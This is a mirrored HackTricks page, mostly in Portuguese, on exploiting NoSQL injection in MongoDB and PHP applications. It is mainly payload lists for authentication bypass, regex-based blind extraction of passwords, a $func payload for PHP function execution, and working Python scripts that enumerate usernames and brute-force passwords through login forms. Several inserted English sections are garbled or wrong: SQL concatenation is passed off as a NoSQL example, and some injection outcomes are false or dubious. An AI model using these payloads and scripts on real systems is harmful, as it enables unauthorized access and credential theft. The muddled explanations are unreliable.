mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-29 22:43:11 +00:00
398 lines
20 KiB
Markdown
398 lines
20 KiB
Markdown
# Injeção NoSQL
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
Use o [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas da comunidade mais avançadas do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
Bancos de dados NoSQL fornecem restrições de consistência mais flexíveis do que bancos de dados SQL tradicionais. Ao exigir menos restrições relacionais e verificações de consistência, os bancos de dados NoSQL geralmente oferecem benefícios de desempenho e escalabilidade. No entanto, esses bancos de dados ainda são potencialmente vulneráveis a ataques de injeção, mesmo que não estejam usando a sintaxe SQL tradicional.
|
|
|
|
## Exploração
|
|
|
|
Em PHP, você pode enviar um Array alterando o parâmetro enviado de _parameter=foo_ para _parameter\[arrName]=foo._
|
|
|
|
Os exploits são baseados na adição de um **Operador**:
|
|
```bash
|
|
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
|
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
|
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
|
|
username[$eq]=admin&password[$ne]=1 #<Equals>
|
|
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
|
|
username[$ne]=admin&pass[$gt]=s #<Greater Than>
|
|
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
|
|
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
|
|
```
|
|
### Bypass de autenticação básica
|
|
|
|
**Usando não igual ($ne) ou maior ($gt)**
|
|
```bash
|
|
#in URL
|
|
username[$ne]=toto&password[$ne]=toto
|
|
username[$regex]=.*&password[$regex]=.*
|
|
username[$exists]=true&password[$exists]=true
|
|
|
|
#in JSON
|
|
{"username": {"$ne": null}, "password": {"$ne": null} }
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
|
|
```
|
|
### **NoSQL - Mongo**
|
|
|
|
NoSQL injection is similar to SQL injection, but it targets NoSQL databases like MongoDB. The attack vector is different because NoSQL databases don't use SQL syntax, but they still use queries that can be manipulated.
|
|
|
|
#### **Basic NoSQL Injection**
|
|
|
|
The basic NoSQL injection technique involves manipulating the query parameters to bypass authentication or to retrieve sensitive information. For example, let's say we have a login form that uses MongoDB to store user credentials. The query to check if the user exists might look like this:
|
|
|
|
```
|
|
db.users.find({username: 'admin', password: 'password123'})
|
|
```
|
|
|
|
We can manipulate the query to bypass authentication by sending the following payload as the password:
|
|
|
|
```
|
|
password123' || 1==1 --
|
|
```
|
|
|
|
This will result in the following query:
|
|
|
|
```
|
|
db.users.find({username: 'admin', password: 'password123' || 1==1 --'})
|
|
```
|
|
|
|
The `|| 1==1 --` part of the payload will always evaluate to true, so the query will return the first user it finds, which in this case is the admin user.
|
|
|
|
#### **Blind NoSQL Injection**
|
|
|
|
Blind NoSQL injection is similar to blind SQL injection, where we can't see the results of our queries. In NoSQL injection, we can't see the results of our queries because the application doesn't return any errors or messages. However, we can still infer information by sending queries that return different responses depending on the result of the query.
|
|
|
|
For example, let's say we have an application that uses MongoDB to store user information. We can send the following query to check if the user with ID 123 exists:
|
|
|
|
```
|
|
db.users.find({_id: ObjectId("123")})
|
|
```
|
|
|
|
If the user exists, the query will return the user's information. If the user doesn't exist, the query will return an empty result. We can use this behavior to infer information about the database by sending queries that return different responses depending on the result of the query.
|
|
|
|
#### **Preventing NoSQL Injection**
|
|
|
|
To prevent NoSQL injection, you should always validate and sanitize user input. Use parameterized queries and avoid building queries using string concatenation. Additionally, limit the privileges of the database user to only what is necessary.
|
|
```
|
|
Normal sql: ' or 1=1-- -
|
|
Mongo sql: ' || 1==1// or ' || 1==1%00
|
|
```
|
|
### Extrair informações de **comprimento**
|
|
```bash
|
|
username[$ne]=toto&password[$regex]=.{1}
|
|
username[$ne]=toto&password[$regex]=.{3}
|
|
# True if the length equals 1,3...
|
|
```
|
|
### Extrair informações de **dados**
|
|
```
|
|
in URL (if length == 3)
|
|
username[$ne]=toto&password[$regex]=a.{2}
|
|
username[$ne]=toto&password[$regex]=b.{2}
|
|
...
|
|
username[$ne]=toto&password[$regex]=m.{2}
|
|
username[$ne]=toto&password[$regex]=md.{1}
|
|
username[$ne]=toto&password[$regex]=mdp
|
|
|
|
username[$ne]=toto&password[$regex]=m.*
|
|
username[$ne]=toto&password[$regex]=md.*
|
|
|
|
in JSON
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
|
```
|
|
### **NoSQL - Mongo**
|
|
|
|
NoSQL injection is similar to SQL injection, but it occurs in NoSQL databases like MongoDB. The injection occurs when untrusted data is sent to the database without proper validation or sanitization.
|
|
|
|
#### **Basic NoSQL Injection**
|
|
|
|
The basic NoSQL injection technique involves manipulating the query to return additional data or bypass authentication. For example, consider the following MongoDB query:
|
|
|
|
```
|
|
db.users.find({username: "admin", password: "password123"})
|
|
```
|
|
|
|
An attacker can manipulate the query to bypass authentication by sending the following data:
|
|
|
|
```
|
|
{"username": {"$ne": null}, "password": {"$ne": null}}
|
|
```
|
|
|
|
This query will return all documents in the `users` collection, regardless of the username and password values.
|
|
|
|
#### **Blind NoSQL Injection**
|
|
|
|
Blind NoSQL injection occurs when the application does not return any data from the database. In this case, the attacker must use a technique called "boolean-based blind injection" to infer the data.
|
|
|
|
For example, consider the following MongoDB query:
|
|
|
|
```
|
|
db.users.find({username: "admin", password: "password123"})
|
|
```
|
|
|
|
An attacker can use the following query to infer the password value:
|
|
|
|
```
|
|
{"username": "admin", "password": {"$regex": "^p"}}
|
|
```
|
|
|
|
If the application returns data, the attacker can infer that the password value starts with "p". The attacker can continue to refine the query until the entire password is inferred.
|
|
|
|
#### **Prevention**
|
|
|
|
To prevent NoSQL injection, it is important to properly validate and sanitize all user input before sending it to the database. Additionally, it is recommended to use parameterized queries and avoid building queries using string concatenation.
|
|
```
|
|
/?search=admin' && this.password%00 --> Check if the field password exists
|
|
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
|
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
|
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
|
|
...
|
|
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
|
```
|
|
### Execução Arbitrária de Função PHP
|
|
|
|
Usando o operador **$func** da biblioteca [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (usada por padrão), pode ser possível executar uma função arbitrária, como descrito neste [relatório](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
|
```python
|
|
"user":{"$func": "var_dump"}
|
|
```
|
|
### Obter informações de diferentes coleções
|
|
|
|
É possível usar o [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma **coleção diferente** chamada **`users`** e obtendo os **resultados de todas as entradas** com uma senha correspondente a um caractere curinga.
|
|
```json
|
|
[
|
|
{
|
|
"$lookup":{
|
|
"from": "users",
|
|
"as":"resultado","pipeline": [
|
|
{
|
|
"$match":{
|
|
"password":{
|
|
"$regex":"^.*"
|
|
}
|
|
}
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
```
|
|
## Blind NoSQL
|
|
|
|
A injeção NoSQL cega é uma técnica de injeção de código malicioso em bancos de dados NoSQL, que permite que um invasor obtenha informações confidenciais do banco de dados, como senhas, nomes de usuário e outras informações sensíveis. Essa técnica é semelhante à injeção SQL cega, mas é usada em bancos de dados NoSQL.
|
|
|
|
### Como funciona
|
|
|
|
A injeção NoSQL cega é realizada explorando a falta de validação de entrada em aplicativos da web que usam bancos de dados NoSQL. O invasor pode enviar uma solicitação maliciosa para o aplicativo da web, que é projetada para explorar a vulnerabilidade de injeção NoSQL cega. A solicitação maliciosa contém um código que é executado no banco de dados NoSQL e retorna informações confidenciais ao invasor.
|
|
|
|
### Exemplo
|
|
|
|
Considere o seguinte código de exemplo:
|
|
|
|
```javascript
|
|
var username = req.body.username;
|
|
var password = req.body.password;
|
|
var query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
|
|
db.query(query, function(err, result) {
|
|
if (err) throw err;
|
|
res.send(result);
|
|
});
|
|
```
|
|
|
|
Este código é vulnerável a injeção NoSQL cega, pois não valida a entrada do usuário. Um invasor pode enviar uma solicitação maliciosa contendo o seguinte código:
|
|
|
|
```
|
|
username[$ne]=&password[$ne]=
|
|
```
|
|
|
|
Isso faz com que a consulta seja executada como:
|
|
|
|
```javascript
|
|
SELECT * FROM users WHERE username = '' OR 1=1 AND password = '' OR 1=1
|
|
```
|
|
|
|
Isso retorna todas as entradas da tabela de usuários, permitindo que o invasor obtenha informações confidenciais.
|
|
|
|
### Prevenção
|
|
|
|
Para prevenir a injeção NoSQL cega, é importante validar a entrada do usuário e usar consultas parametrizadas. Além disso, é importante limitar o acesso do usuário ao banco de dados e restringir as permissões de acesso.
|
|
```python
|
|
import requests, string
|
|
|
|
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
|
|
|
|
flag = ""
|
|
for i in range(21):
|
|
print("[i] Looking for char number "+str(i+1))
|
|
for char in alphabet:
|
|
r = requests.get("http://chall.com?param=^"+flag+char)
|
|
if ("<TRUE>" in r.text):
|
|
flag += char
|
|
print("[+] Flag: "+flag)
|
|
break
|
|
```
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|']:
|
|
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
|
r = requests.post(u, data = {'ids': payload}, verify = False)
|
|
if 'OK' in r.text:
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
## Cargas úteis do MongoDB
|
|
|
|
### Injeção de Comando
|
|
|
|
A injeção de comando em MongoDB é semelhante à injeção de comando em SQL. A ideia é injetar um comando malicioso que será executado pelo servidor MongoDB. A seguir, algumas cargas úteis comuns para injeção de comando:
|
|
|
|
- `{"$where": "sleep(10000)"}`: faz com que o servidor MongoDB durma por 10 segundos.
|
|
- `{"$where": "this.password.match(/mypassword/)"}`: retorna todos os documentos em que a senha contenha a string "mypassword".
|
|
- `{"$where": "this.username == 'admin' && this.password.match(/mypassword/)"}`: retorna todos os documentos em que o nome de usuário seja "admin" e a senha contenha a string "mypassword".
|
|
|
|
### Injeção de Operador
|
|
|
|
A injeção de operador em MongoDB é semelhante à injeção de operador em SQL. A ideia é injetar um operador malicioso que altere a lógica da consulta original. A seguir, algumas cargas úteis comuns para injeção de operador:
|
|
|
|
- `{"username": {"$ne": null}}`: retorna todos os documentos em que o campo "username" não é nulo.
|
|
- `{"username": {"$regex": ".*"}}`: retorna todos os documentos em que o campo "username" contém qualquer valor.
|
|
- `{"$where": "this.username.constructor == /string/"}`: retorna todos os documentos em que o campo "username" é uma string.
|
|
|
|
### Injeção de Nome de Coleção
|
|
|
|
A injeção de nome de coleção em MongoDB é uma técnica que permite que um invasor acesse uma coleção que não deveria ter acesso. A seguir, uma carga útil comum para injeção de nome de coleção:
|
|
|
|
- `db['users;db.auth('attacker','password');'].find()`: acessa a coleção "users" e executa o comando `db.auth('attacker','password')`, que autentica o invasor no banco de dados.
|
|
```
|
|
true, $where: '1 == 1'
|
|
, $where: '1 == 1'
|
|
$where: '1 == 1'
|
|
', $where: '1 == 1'
|
|
1, $where: '1 == 1'
|
|
{ $ne: 1 }
|
|
', $or: [ {}, { 'a':'a
|
|
' } ], $comment:'successful MongoDB injection'
|
|
db.injection.insert({success:1});
|
|
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|
|
|| 1==1
|
|
' && this.password.match(/.*/)//+%00
|
|
' && this.passwordzz.match(/.*/)//+%00
|
|
'%20%26%26%20this.password.match(/.*/)//+%00
|
|
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
|
{$gt: ''}
|
|
[$ne]=1
|
|
```
|
|
## Ferramentas
|
|
|
|
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
|
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
|
|
|
### Força bruta de nomes de usuário e senhas de login a partir de POST login
|
|
|
|
Este é um script simples que você pode modificar, mas as ferramentas anteriores também podem realizar essa tarefa.
|
|
```python
|
|
import requests
|
|
import string
|
|
|
|
url = "http://example.com"
|
|
headers = {"Host": "exmaple.com"}
|
|
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
|
|
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
|
|
def get_password(username):
|
|
print("Extracting password of "+username)
|
|
params = {"username":username, "password[$regex]":"", "login": "login"}
|
|
password = "^"
|
|
while True:
|
|
for c in possible_chars:
|
|
params["password[$regex]"] = password + c + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
password += c
|
|
break
|
|
if c == possible_chars[-1]:
|
|
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
|
|
return password[1:].replace("\\", "")
|
|
|
|
def get_usernames():
|
|
usernames = []
|
|
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
|
|
for c in possible_chars:
|
|
username = "^" + c
|
|
params["username[$regex]"] = username + ".*"
|
|
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
|
|
if int(pr.status_code) == 302:
|
|
print("Found username starting with "+c)
|
|
while True:
|
|
for c2 in possible_chars:
|
|
params["username[$regex]"] = username + c2 + ".*"
|
|
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
|
|
username += c2
|
|
print(username)
|
|
break
|
|
|
|
if c2 == possible_chars[-1]:
|
|
print("Found username: "+username[1:])
|
|
usernames.append(username[1:])
|
|
break
|
|
return usernames
|
|
|
|
|
|
for u in get_usernames():
|
|
get_password(u)
|
|
```
|
|
## Referências
|
|
|
|
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
|
Obtenha acesso hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|